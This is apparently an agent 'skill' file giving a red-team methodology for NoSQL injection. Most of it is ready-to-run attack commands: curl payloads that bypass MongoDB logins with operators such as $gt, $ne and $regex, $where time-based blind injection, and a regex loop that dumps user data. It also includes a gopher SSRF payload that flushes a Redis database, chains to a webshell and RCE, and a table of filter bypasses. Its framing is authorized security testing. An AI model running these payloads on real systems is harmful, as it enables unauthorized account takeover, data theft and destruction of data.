| name | hunt-nosqli |
| description | Hunt NoSQL Injection โ MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| category | redteam |
| tags | ["nosql","injection","hunt","redteam"] |
HUNT-NOSQLI โ NoSQL Injection
Crown Jewel Targets
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
Highest-value chains:
- MongoDB auth bypass โ
{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
- $where JS injection โ if $where is enabled: blind injection โ data exfil
- Redis command injection โ via SSRF or direct TCP, SLAVEOF attacker-ip โ config write โ webshell
- Elasticsearch injection โ _search endpoint with Groovy script injection (pre-5.0) โ RCE
Attack Surface Signals
URL & Param Patterns
/api/users/login POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
Stack Signals
| Signal | Vector |
|---|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |
Step-by-Step Hunting Methodology
Phase 1 โ Auth Bypass (MongoDB)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
Phase 2 โ URL Parameter Injection
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
curl --max-time 30 --connect-timeout 10 "https://$TARGET/api/login" \
--data "username[$gt]=&password[$gt]="
Phase 3 โ $where Blind Injection (time-based)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/search \
-H "Content-Type: application/json" \
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
Phase 4 โ Data Dump via Regex
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/users \
-H "Content-Type: application/json" \
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
echo "$c: $(echo $RESP | wc -c)"
done
Phase 5 โ Automation
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1
nosqlmap -u "https://$TARGET/api/login" --attack 2
Phase 6 โ Redis via SSRF
curl --max-time 30 --connect-timeout 10 "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
Bypass Table
| Defense | Bypass |
|---|
| JSON.parse rejects objects | Use array: password[$ne]=x (URL params) |
Sanitizes $ | Unicode: $gt |
| Blocks operator keys | Nested objects deeper in structure |
Chain Table
| NoSQLi finding | Chain to | Impact |
|---|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
Validation
โ
Auth bypass: logged in without valid credentials, received valid session token
โ
Data dump: returned users/documents you shouldn't have access to
โ
Blind injection: confirmed via time-delay (>4 seconds consistent)
Severity:
- Auth bypass as admin: Critical
- User collection dump: High
- Blind injection (no useful exfil): Medium
Verification
Run this self-test to confirm nosqli hunting readiness:
-
Skill integrity โ confirm the skill file is readable and well-formed:
grep -q "name: hunt-nosqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
-
Category check โ confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
-
Pitfalls section โ confirm pitfalls are documented:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
- NoSQL injection without data exfiltration โ blind NoSQLi returning true/false is harder to exploit. Need data extraction or auth bypass.
- $regex injection without enumeration proof โ if
$regex is injectable, demonstrate time-based or boolean-based data extraction.
- MongoDB $where injection โ
$where evaluates JavaScript. This is the highest-impact NoSQL injection variant.
- Operator injection vs value injection โ injecting
{"$gt":""} in a value field vs injecting operators in the query structure are different attack types.
Related Skills
hunt-sqli โ Traditional SQL injection complements NoSQL; test both on the same parameter. Chain primitive: param accepts both SQL ' OR 1=1-- and NoSQL {$gt:""} โ test SQL first, then NoSQL operator injection.
hunt-auth-bypass โ NoSQLi login bypass ({\"$ne\":\"\"}) is an auth-bypass primitive, not a data-read. Chain primitive: NoSQLi $gt bypass โ admin panel โ chain to further privilege escalation.
hunt-ssrf โ Redis via SSRF is the canonical NoSQL-injection-to-RCE path. Chain primitive: SSRF โ gopher://redis:6379/_CONFIG SET... โ cron write โ RCE.
hunt-rce โ $where JavaScript injection in MongoDB can reach child_process if the DB process has JS engine access. Chain primitive: $where with sleep(5000) confirm โ data exfil via JS this.password โ admin hash crack.
security-arsenal โ Pull the NoSQL payload tree: $gt, $ne, $regex, $nin, $where, $exists operators, MongoDB auth-bypass JSON, PHP array injection param[$regex]=.* patterns.
triage-validation โ Apply the Pre-Severity Gate. A NoSQL auth bypass that only logs in as the first user in a collection (usually a test/admin account) is Critical; one that logs in as a random user may be Medium if you can't target a specific victim.